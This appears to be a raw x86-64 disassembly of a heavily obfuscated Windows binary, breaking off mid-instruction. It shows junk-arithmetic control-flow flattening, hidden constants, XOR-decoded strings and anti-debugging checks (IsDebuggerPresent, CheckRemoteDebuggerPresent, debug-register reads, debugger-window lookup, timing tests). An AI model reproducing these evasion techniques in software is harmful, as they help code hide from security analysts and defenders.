lea rdx, [rbp - 0x68]
call fcn.1400d3cfa
mov r8, qword [rbp - 0x68]
mov rdi, r8
mov rsi, qword [rbp - 0x60]
cmp r8, rsi
push rax
pushf
mov eax, 0xcc7e8225
pushf
not eax
add eax, 0x8728c22a
xor eax, 0xd18e0454
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x81b6e960
xor eax, 0xd40a1d8e
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf997f552
xor eax, 0xc2a1e20f
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xcd9a9269
xor eax, 0xd2fb0200
rol eax, 7
popf
jmp 0x1400ad8fd
je 0x1400aee58
push rax
pushf
mov eax, 0x1c44044e
pushf
not eax
add eax, 0xf39ca2ef
xor eax, 0xfb42956a
rol eax, 3
popf
pushf
not eax
add eax, 0x844f2248
xor eax, 0xff3aeea7
rol eax, 0x53
popf
pushf
not eax
add eax, 0x9aaaafeb
xor eax, 0x901bcdcb
rol eax, 0xe3
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x2ed31b33
pushf
not eax
add eax, 0xec53cf18
xor eax, 0xe057f8f2
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xdfce6dab
xor eax, 0xfc8aa10e
rol eax, 0x26
popf
pushf
not eax
add eax, 0xad4bd47e
xor eax, 0xfd63e80c
rol eax, 0xa
popf
jmp 0x1400ad8fd
mov rbx, qword [rdi]
jmp 0x1400aeea2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x25fc2f37
pushf
not r9d
add r9d, 0xbf209390
xor r9d, 0xd8b7c938
rol r9d, 9
popf
pushf
not r9d
add r9d, 0xd36e01ed
xor r9d, 0x8c134161
rol r9d, 0xe5
popf
lea r8, [rbp + 0x490]
mov rdx, rbx
jmp 0x1400aeeee
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
mov r8, qword [rbp - 0x68]
test eax, eax
je 0x1400aef55
push rax
pushf
mov eax, 0xd649fe1
pushf
not eax
add eax, 0xbd228b90
xor eax, 0xd6949ccf
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x994d4335
xor eax, 0xdb58754c
rol eax, 0x12
popf
pushf
not eax
add eax, 0xbe3e9d34
xor eax, 0xf1c8cdf4
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xc3cdfe1d
xor eax, 0x87e53851
rol eax, 0x11
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x96a82ae1
pushf
not eax
add eax, 0xd0fe9f2e
xor eax, 0x98920bae
rol eax, 0x98
popf
pushf
not eax
add eax, 0xc28dfd4e
xor eax, 0xb8f45b0d
rol eax, 0x53
popf
pushf
not eax
add eax, 0xe2cedaf9
xor eax, 0xc4b319fd
rol eax, 0x15
popf
jmp 0x1400ad8fd
mov rcx, qword [0x14004e108]
sub rcx, qword [0x14004e100]
sar rcx, 3
mov rax, qword [rbp - 0x60]
sub rax, r8
sar rax, 3
cmp rcx, rax
jb 0x1400af016
push rax
pushf
mov eax, 0xc76f01be
pushf
not eax
add eax, 0x8f7a971e
xor eax, 0xdc835c60
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x81ab3f96
xor eax, 0xd388c241
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x969d6f52
xor eax, 0xcceb05eb
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf8ae685e
xor eax, 0xd0b4a2ef
rol eax, 0x78
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x1d6e76e0
pushf
not eax
add eax, 0xb9e2a2c5
xor eax, 0xbd031048
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xd597296c
xor eax, 0x94d25ae6
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xd70ca46d
xor eax, 0xfd26b78b
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xdebaf480
xor eax, 0xfbc9be07
rol eax, 0x7c
popf
jmp 0x1400ad8fd
add rdi, 8
cmp rdi, rsi
jmp 0x1400aee0c
test r8, r8
je 0x1400af11f
push rax
pushf
mov eax, 0x8fe904c0
pushf
not eax
add eax, 0xec7ca875
xor eax, 0x940344ce
rol eax, 0xff
popf
pushf
not eax
add eax, 0xf62cce78
xor eax, 0xc0d19db1
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x83656441
xor eax, 0x9881ca9f
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x93aa620b
xor eax, 0x8b3c5dde
rol eax, 0xd6
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x432480af
pushf
not eax
add eax, 0xcd668d90
xor eax, 0xdd0a59c6
rol eax, 0xf
popf
pushf
not eax
add eax, 0xf180e301
xor eax, 0xc6edb05c
rol eax, 0x1a
popf
jmp 0x1400ad8fd
mov rax, qword [rbp - 0x58]
sub rax, r8
sar rax, 3
lea rdx, [rax*8]
mov rax, r8
cmp rdx, 0x1000
jb 0x1400af1a4
push rax
pushf
mov eax, 0x60eb0f2d
pushf
not eax
add eax, 0x9268d583
xor eax, 0x8a22d340
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x8d5c1103
xor eax, 0xcf3ce58c
rol eax, 0xb1
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xde7d4758
pushf
not eax
add eax, 0xae9f32b9
xor eax, 0xda943835
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xa3d11869
xor eax, 0x8fad1be0
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xa5d95c06
xor eax, 0x9dfcc2eb
rol eax, 0x86
popf
pushf
not eax
add eax, 0xac07b2c5
xor eax, 0xf210b26a
rol eax, 0xa9
popf
jmp 0x1400ad8fd
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af26f
push rax
pushf
mov eax, 0xf676d63c
pushf
not eax
add eax, 0xa6d0a0a0
xor eax, 0xcd35182e
rol eax, 0x52
popf
pushf
not eax
add eax, 0xebcbb8f3
xor eax, 0xc2cca953
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xd696aac4
xor eax, 0xaf44ee89
rol eax, 0x44
popf
pushf
not eax
add eax, 0xc01c57af
xor eax, 0xdb158067
rol eax, 0x6d
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xca8efbec
pushf
not eax
add eax, 0x8e4bf424
xor eax, 0xf0e98911
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x9b76a63d
xor eax, 0xbad24bb8
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xe069fa09
xor eax, 0xfe94f514
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xfa68c7e1
xor eax, 0xc695df53
rol eax, 0x1c
popf
jmp 0x1400ad8fd
mov rcx, r8
call fcn.1400d2afc
push rax
pushf
mov eax, 0xc8117ff2
pushf
not eax
add eax, 0xe2a291bc
xor eax, 0xb8d2fa9f
rol eax, 0x70
popf
pushf
not eax
add eax, 0xb2796fde
xor eax, 0xc752cd9a
rol eax, 0xae
popf
jmp 0x1400ad8fd
cmp byte [0x14004e130], 0
jne 0x1400af369
push rax
pushf
mov eax, 0x40be60b0
pushf
not eax
add eax, 0xbb371111
xor eax, 0x91bccd2a
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xe76faf3c
xor eax, 0xb117b5d6
rol eax, 0x84
popf
pushf
not eax
add eax, 0x82730bd4
xor eax, 0xdc43ff11
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xee449a56
xor eax, 0xe9e65504
rol eax, 0xde
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x800c4f31
pushf
not eax
add eax, 0xa4ca717d
xor eax, 0xa049e23b
rol eax, 0x54
popf
pushf
not eax
add eax, 0xd0758fd0
xor eax, 0xf1383bd8
rol eax, 0x73
popf
pushf
not eax
add eax, 0xe53c8e06
xor eax, 0xada67bbc
rol eax, 0x94
popf
pushf
not eax
add eax, 0xf7719756
xor eax, 0xe916430a
rol eax, 0x91
popf
jmp 0x1400ad8fd
mov byte [rbp - 0x78], 0x29
mov al, 0x3e
pushf
not al
add al, 0xcd
xor al, 0xd5
rol al, 0xc3
popf
pushf
not al
add al, 0xd2
xor al, 0xba
rol al, 0x90
popf
mov cl, 0x33
pushf
not cl
add cl, 0x7b
xor cl, 0x31
rol cl, 0x78
popf
pushf
not cl
add cl, 1
xor cl, 0x41
rol cl, 0xe0
popf
pushf
not cl
add cl, 9
xor cl, 0x9f
rol cl, 0xa9
popf
movzx edx, cl
mov r8b, 4
pushf
not r8b
add r8b, 0x3a
xor r8b, 0x6a
rol r8b, 0xe2
popf
pushf
not r8b
add r8b, 0x1e
xor r8b, 0xb8
rol r8b, 2
popf
pushf
not r8b
add r8b, 0x6f
xor r8b, 0x35
rol r8b, 0x69
popf
mov r9b, 0xea
pushf
not r9b
add r9b, 0xa2
xor r9b, 0xa6
rol r9b, 0xe2
popf
pushf
not r9b
add r9b, 0x73
xor r9b, 0x95
rol r9b, 0xf4
popf
pushf
not r9b
add r9b, 0x10
xor r9b, 0x50
rol r9b, 0x34
popf
mov r10b, 0x35
pushf
not r10b
add r10b, 0xf5
xor r10b, 0xee
rol r10b, 0x67
popf
pushf
not r10b
add r10b, 0xf6
xor r10b, 0x50
rol r10b, 0x5e
popf
mov r11b, 0x6c
pushf
not r11b
add r11b, 0xe9
xor r11b, 0xa9
rol r11b, 0x1d
popf
pushf
not r11b
add r11b, 0xf0
xor r11b, 0x8f
rol r11b, 0x74
popf
pushf
not r11b
add r11b, 0xa7
xor r11b, 0xf6
rol r11b, 0x46
popf
mov bl, 0x43
pushf
not bl
add bl, 0x3a
xor bl, 0x32
rol bl, 0xc0
popf
pushf
not bl
add bl, 0xe9
xor bl, 2
rol bl, 0xe1
popf
mov dil, 0x1c
pushf
not dil
add dil, 0xc5
xor dil, 0x8c
rol dil, 0x8c
popf
pushf
not dil
add dil, 0x2c
xor dil, 0xcc
rol dil, 0x49
popf
mov sil, 0x99
pushf
not sil
add sil, 0x61
xor sil, 0xa9
rol sil, 0x81
popf
pushf
not sil
add sil, 0x37
xor sil, 0x62
rol sil, 0x45
popf
pushf
not sil
add sil, 0x97
xor sil, 0x21
rol sil, 0x9e
popf
pushf
not sil
add sil, 0xa6
xor sil, 0x51
rol sil, 0xdb
popf
movzx r14d, bl
movzx r15d, al
xor r12d, r12d
xor al, 0x29
mov byte [rbp - 0x77], al
xor cl, 0x29
mov byte [rbp - 0x76], cl
xor dl, 0x29
mov byte [rbp - 0x75], dl
xor r8b, 0x29
mov byte [rbp - 0x74], r8b
xor r9b, 0x29
mov byte [rbp - 0x73], r9b
xor r10b, 0x29
mov byte [rbp - 0x72], r10b
xor r11b, 0x29
mov byte [rbp - 0x71], r11b
xor bl, 0x29
mov byte [rbp - 0x70], bl
xor dil, 0x29
mov byte [rbp - 0x6f], dil
xor sil, 0x29
mov byte [rbp - 0x6e], sil
xor r14b, 0x29
mov byte [rbp - 0x6d], r14b
xor r15b, 0x29
mov byte [rbp - 0x6c], r15b
mov byte [rbp - 0x6b], r12b
lea rdx, [rbp - 0x77]
lea rcx, [rbp - 0x68]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
test r8, r8
je 0x1400af6a9
push rax
pushf
mov eax, 0xf4f4b730
pushf
not eax
add eax, 0xff6f01f5
xor eax, 0xc6f5ce35
rol eax, 0xea
popf
pushf
not eax
add eax, 0xf1003e46
xor eax, 0xd7a9a5ef
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xfa0067e6
xor eax, 0x8b90de5a
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xfe11935f
xor eax, 0xdbd53830
rol eax, 0x98
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x4a82e8e9
pushf
not eax
add eax, 0x8be03150
xor eax, 0xd045ec96
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xc955e61d
xor eax, 0xfdf92cf1
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x8ff4c0ac
xor eax, 0xbc51c148
rol eax, 0x2d
popf
jmp 0x1400ad8fd
mov rax, qword [rbp - 0x58]
sub rax, r8
sar rax, 3
lea rdx, [rax*8]
mov rax, r8
cmp rdx, 0x1000
jb 0x1400af741
push rax
pushf
mov eax, 0x93cb660d
pushf
not eax
add eax, 0xd746a2a3
xor eax, 0xf69eea98
rol eax, 9
popf
pushf
not eax
add eax, 0xaaad72e2
xor eax, 0xdd015776
rol eax, 0xcc
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x79d255c5
pushf
not eax
add eax, 0xfd139319
xor eax, 0x8ea5ff96
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x8a460fff
xor eax, 0xf862cc3c
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe38679e3
xor eax, 0x935aaa53
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xc11315ec
xor eax, 0xbf31ce6a
rol eax, 0x93
popf
jmp 0x1400ad8fd
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af80c
push rax
pushf
mov eax, 0x6325a03b
pushf
not eax
add eax, 0xa112f4af
xor eax, 0xdb038256
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xea0c12da
xor eax, 0xadcd0584
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x911b3327
xor eax, 0xeaed2829
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xec91dde5
xor eax, 0xa983fe72
rol eax, 0x6c
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x7ceb08e0
pushf
not eax
add eax, 0xb7e7a61e
xor eax, 0xd0e57c22
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x8cf20122
xor eax, 0x8faa04fe
rol eax, 0xf4
popf
jmp 0x1400ad8fd
mov rcx, r8
call fcn.1400d2afc
push rax
pushf
mov eax, 0x13f8066d
pushf
not eax
add eax, 0xb687c57b
xor eax, 0xeac337f6
rol eax, 0x56
popf
pushf
not eax
add eax, 0xaccdbe78
xor eax, 0x99c2d9d1
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xaaceede9
xor eax, 0xf96fc7b9
rol eax, 0x21
popf
pushf
not eax
add eax, 0xc2e218ce
xor eax, 0x88c13cfd
rol eax, 0x87
popf
jmp 0x1400ad8fd
mov dword [rbp - 0x10], 0x100010
jmp 0x1400af8a8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp - 0x40]
jmp 0x1400af8b6
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp qword [rbp + 8], 0
jne 0x1400af8fa
push rax
pushf
mov eax, 0x6af897da
pushf
not eax
add eax, 0xad0ee144
xor eax, 0xfe19d089
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xb3148c87
xor eax, 0xe57aabca
rol eax, 0xe7
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x19e7c1de
pushf
not eax
add eax, 0xf481035a
xor eax, 0xd744e539
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xe20e04b5
xor eax, 0xbfff0dc7
rol eax, 0x95
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x10], 0
jne 0x1400af97e
push rax
pushf
mov eax, 0x97befb52
pushf
not eax
add eax, 0xf1278b25
xor eax, 0xbdbe736c
rol eax, 0x74
popf
pushf
not eax
add eax, 0xc1875d3a
xor eax, 0xacdc7429
rol eax, 0x38
popf
pushf
not eax
add eax, 0x96cfca0f
xor eax, 0xb37686d3
rol eax, 0xfc
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x8818f1da
pushf
not eax
add eax, 0xb9e252a3
xor eax, 0xfb855841
rol eax, 0x93
popf
pushf
not eax
add eax, 0xb8a36d08
xor eax, 0xf9897c2c
rol eax, 0x60
popf
pushf
not eax
add eax, 0xe49a9484
xor eax, 0xd6be8bf9
rol eax, 0xf7
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x18], 0
jne 0x1400afa02
push rax
pushf
mov eax, 0x108286d4
pushf
not eax
add eax, 0x8f3442a0
xor eax, 0xe3db8f3f
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xcc6d4c18
xor eax, 0x82963cc8
rol eax, 0xd6
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xd0cd85c3
pushf
not eax
add eax, 0xd35b662e
xor eax, 0xe9ae9db3
rol eax, 0x19
popf
pushf
not eax
add eax, 0xaada1bc1
xor eax, 0xa5aac3d3
rol eax, 8
popf
pushf
not eax
add eax, 0xb80ae0a3
xor eax, 0x95144c24
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xce1f128b
xor eax, 0x84609a70
rol eax, 0x40
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x20], 0
jne 0x1400afaac
push rax
pushf
mov eax, 0x670a21fd
pushf
not eax
add eax, 0xb091efa4
xor eax, 0xc2a1c012
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x93b2115e
xor eax, 0xf04dd3f7
rol eax, 0x82
popf
pushf
not eax
add eax, 0xecf0b089
xor eax, 0xf2954ab6
rol eax, 0x2d
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x144c6e11
pushf
not eax
add eax, 0xb5284b5a
xor eax, 0xf7eaadd0
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x8d02d8ac
xor eax, 0xb71a636b
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xbf54d602
xor eax, 0xaa9346b8
rol eax, 5
popf
pushf
not eax
add eax, 0xe300d887
xor eax, 0xa449c1c7
rol eax, 0xf7
popf
jmp 0x1400ad8fd
mov eax, dword [r14]
cmp dword [0x14004e0f8], eax
jle 0x1400afb43
push rax
pushf
mov eax, 0xb7438b3a
pushf
not eax
add eax, 0xae035df2
xor eax, 0xbf3767d5
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xc18203b3
xor eax, 0x929f2e29
rol eax, 0xaa
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x2acc8398
pushf
not eax
add eax, 0xe4e257ce
xor eax, 0xc6799833
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xf4ac46ca
xor eax, 0xb0be51b9
rol eax, 0x72
popf
pushf
not eax
add eax, 0xe8fdc196
xor eax, 0x9375f28d
rol eax, 0x25
popf
jmp 0x1400ad8fd
lea rcx, [0x1b235321a]
pushf
sub rcx, 0x72305122
popf
call fcn.14019a0a3
cmp dword [0x14004e0f8], 0xffffffff
jne 0x1400afbef
push rax
pushf
mov eax, 0x89bb98b9
pushf
not eax
add eax, 0x8ddfbd02
xor eax, 0xbcd98518
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xc5fa6799
xor eax, 0xbc6427a3
rol eax, 0xed
popf
pushf
not eax
add eax, 0x8fb25cab
xor eax, 0xf56a80c3
rol eax, 0x79
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x5ba4ef6c
pushf
not eax
add eax, 0xb9740db1
xor eax, 0xd9a1ebb7
rol eax, 0x55
popf
pushf
not eax
add eax, 0xa3aef85d
xor eax, 0xe53e6a52
rol eax, 0xa0
popf
jmp 0x1400ad8fd
call fcn.140134d33
mov rbx, rax
call fcn.1400a1dd5
cmp rbx, 0x989680
jne 0x1400afc90
push rax
pushf
mov eax, 0x109d6965
pushf
not eax
add eax, 0x8c75f0ec
xor eax, 0xd5d63f47
rol eax, 1
popf
pushf
not eax
add eax, 0xf1bdd97f
xor eax, 0x965e3789
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xad65e9ee
xor eax, 0xef794ad6
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x986dbfd3
xor eax, 0xfb94ea80
rol eax, 0xbf
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xb9426f7b
pushf
not eax
add eax, 0xa4491410
xor eax, 0x821f820c
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xcf301560
xor eax, 0x9662e48d
rol eax, 0x2a
popf
jmp 0x1400ad8fd
imul rax, rax, 0x64
jmp 0x1400afda2
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
push rax
pushf
mov eax, 0x2e24fd79
pushf
not eax
add eax, 0xd26a4c59
xor eax, 0x9d07cc73
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xfca3b410
xor eax, 0xe1104915
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xad5f83cb
xor eax, 0x8ba7f764
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xa096c5c4
xor eax, 0xf2df2742
rol eax, 0x1a
popf
jmp 0x1400ad8fd
mov qword [0x14004e118], rax
lea rcx, [0x197581e08]
pushf
sub rcx, 0x57533d10
popf
call fcn.140181826
push rax
pushf
mov eax, 0xd2449883
pushf
not eax
add eax, 0xd67de5ea
xor eax, 0xb6f39320
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xc32e5e34
xor eax, 0x8fc8c0b2
rol eax, 0x61
popf
pushf
not eax
add eax, 0x9bead77d
xor eax, 0xd401b71d
rol eax, 0xd6
popf
jmp 0x1400ad8fd
call fcn.140134d33
mov rbx, rax
call fcn.1400a1dd5
cmp rbx, 0x989680
jne 0x1400afe62
push rax
pushf
mov eax, 0xbb4b5155
pushf
not eax
add eax, 0x8e5a18be
xor eax, 0x9fa23b30
rol eax, 0x62
popf
pushf
not eax
add eax, 0xeb9a8247
xor eax, 0xff58db83
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xf1689580
xor eax, 0x8ce910c9
rol eax, 0xb3
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x5f2ecbb
pushf
not eax
add eax, 0x86005cb6
xor eax, 0xf70351b6
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xc2719e6c
xor eax, 0xe0a9d4ca
rol eax, 1
popf
jmp 0x1400ad8fd
imul rcx, rax, 0x64
jmp 0x1400aff4d
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
push rax
pushf
mov eax, 0x60505d32
pushf
not eax
add eax, 0xfb09e66d
xor eax, 0xacfcfbca
rol eax, 0x85
popf
pushf
not eax
add eax, 0xecde07e1
xor eax, 0x8726028b
rol eax, 0x65
popf
pushf
not eax
add eax, 0xa05b438d
xor eax, 0xe192bce8
rol eax, 0x95
popf
pushf
not eax
add eax, 0xa7d95820
xor eax, 0xf1bdae33
rol eax, 0xf8
popf
jmp 0x1400ad8fd
sub rcx, qword [0x14004e118]
movabs rax, 0x341ae367f9c47c35
pushf
not rax
add rax, 0x68b5798d
xor rax, 0x402f8705
rol rax, 0x35
popf
pushf
not rax
add rax, 0x73539453
xor rax, 0x447b54f7
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x6f6459b8
xor rax, 0x79851aa2
rol rax, 0x60
popf
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
imul rax, rdx, 0x3e8
cmp rax, 0x32
jge 0x1400b0014
push rax
pushf
mov eax, 0x5532b57e
pushf
not eax
add eax, 0xe2ee4798
xor eax, 0xbaf40f2a
rol eax, 0x90
popf
pushf
not eax
add eax, 0xa0656a6c
xor eax, 0xf1614d73
rol eax, 0x63
popf
pushf
not eax
add eax, 0x804d0a01
xor eax, 0xedb1d681
rol eax, 0xd6
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xbc23312b
pushf
not eax
add eax, 0xe05ac0ca
xor eax, 0xca92cd71
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xb4f77c5f
xor eax, 0xb8fbd304
rol eax, 0x43
popf
jmp 0x1400ad8fd
call fcn.140134d33
mov rbx, rax
call fcn.1400a1dd5
cmp rbx, 0x989680
jne 0x1400b00b6
push rax
pushf
mov eax, 0x9a92a638
pushf
not eax
add eax, 0xf42682fd
xor eax, 0xdc310e81
rol eax, 0xed
popf
pushf
not eax
add eax, 0xc6977234
xor eax, 0xdd4c7989
rol eax, 0x93
popf
pushf
not eax
add eax, 0xc1d595b0
xor eax, 0xbdc164e9
rol eax, 0x89
popf
pushf
not eax
add eax, 0xeb1d414e
xor eax, 0xa04a5abf
rol eax, 0x65
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x98c73efb
pushf
not eax
add eax, 0xfbc609e3
xor eax, 0xeeeb8bed
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x88b01bec
xor eax, 0xe36f115e
rol eax, 0x45
popf
jmp 0x1400ad8fd
imul rax, rax, 0x64
jmp 0x1400b01c8
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
push rax
pushf
mov eax, 0xcabc02b2
pushf
not eax
add eax, 0x9a961b73
xor eax, 0xbe383860
rol eax, 0x80
popf
pushf
not eax
add eax, 0xba9140ac
xor eax, 0xffdc66bf
rol eax, 0xc
popf
pushf
not eax
add eax, 0xb7384475
xor eax, 0xf8896fd6
rol eax, 0x34
popf
pushf
not eax
add eax, 0xef60074c
xor eax, 0xbca862fe
rol eax, 0x82
popf
jmp 0x1400ad8fd
mov qword [0x14004e118], rax
jmp 0x1400b01d0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400b0211
push rax
pushf
mov eax, 0x146cf478
pushf
not eax
add eax, 0xdb0d39e7
xor eax, 0xa9f2579a
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xc0f46543
xor eax, 0xd6a806b5
rol eax, 0x31
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xbfada0cc
pushf
not eax
add eax, 0xeff70e14
xor eax, 0xad72f51f
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x8a48e3a4
xor eax, 0xa8e6a09c
rol eax, 0x62
popf
pushf
not eax
add eax, 0xa00fd335
xor eax, 0xf7c355b4
rol eax, 0xa
popf
pushf
not eax
add eax, 0xd21a1f6b
xor eax, 0xcdecb97d
rol eax, 0x42
popf
jmp 0x1400ad8fd
mov dword [rbp - 0x48], r15d
jmp 0x1400b026f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rbp - 0x48]
mov rcx, rax
jmp 0x1400b027d
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp - 0x48], 0
jne 0x1400b02e6
push rax
pushf
mov eax, 0x77cd1531
pushf
not eax
add eax, 0xb5a7a3df
xor eax, 0xbc43d589
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xf6861c51
xor eax, 0xe400b532
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd6e62d93
xor eax, 0xa34d1543
rol eax, 0x61
popf
pushf
not eax
add eax, 0xc7cf0a1d
xor eax, 0xb6bfd4e9
rol eax, 0x46
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xf1c939ff
pushf
not eax
add eax, 0xb4259da5
xor eax, 0xabf6b206
rol eax, 0x94
popf
pushf
not eax
add eax, 0xecc9b444
xor eax, 0xac6cc3dd
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xb2199aa4
xor eax, 0xb50304ce
rol eax, 0x49
popf
pushf
not eax
add eax, 0x9835f980
xor eax, 0xf2f7b9b9
rol eax, 0x27
popf
jmp 0x1400ad8fd
call fcn.14018eaa7
mov esi, r15d
mov r14d, r15d
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r13
lea rax, [0x1ba4bf3ef]
pushf
sub rax, 0x7a47a7ff
popf
mov qword [rbp - 0x58], rax
mov ebx, r15d
lea rdi, [rbp - 0x68]
push rax
pushf
mov eax, 0xa683e0d6
pushf
not eax
add eax, 0xe173a759
xor eax, 0xd143aeb0
rol eax, 0x56
popf
pushf
not eax
add eax, 0xbad039f5
xor eax, 0xaecd4eda
rol eax, 0x6e
popf
jmp 0x1400ad8fd
test esi, esi
jne 0x1400b03eb
push rax
pushf
mov eax, 0x89637b8a
pushf
not eax
add eax, 0x81ba6a53
xor eax, 0xd5abe2b2
rol eax, 0
popf
pushf
not eax
add eax, 0x95c727d4
xor eax, 0xadfffe6d
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x8bd32066
xor eax, 0xf28c6207
rol eax, 0x3d
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xaf6bf143
pushf
not eax
add eax, 0xee19c50b
xor eax, 0x8c9362cb
rol eax, 0x57
popf
pushf
not eax
add eax, 0x8c816c8c
xor eax, 0x81df4f46
rol eax, 0x51
popf
pushf
not eax
add eax, 0xdacdf626
xor eax, 0xd5e2e7ff
rol eax, 0x1d
popf
jmp 0x1400ad8fd
xor edx, edx
mov rcx, qword [rdi]
jmp 0x1400b0437
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400b0488
push rax
pushf
mov eax, 0xc85187f0
pushf
not eax
add eax, 0xf4525f21
xor eax, 0x877747dc
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xddd996ff
xor eax, 0xa1171b8e
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xa753cbcf
xor eax, 0xc5137670
rol eax, 0x3b
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xc281492a
pushf
not eax
add eax, 0x94a4ed1f
xor eax, 0xf0d6fa3d
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x8d5b7215
xor eax, 0xb90de749
rol eax, 0x21
popf
pushf
not eax
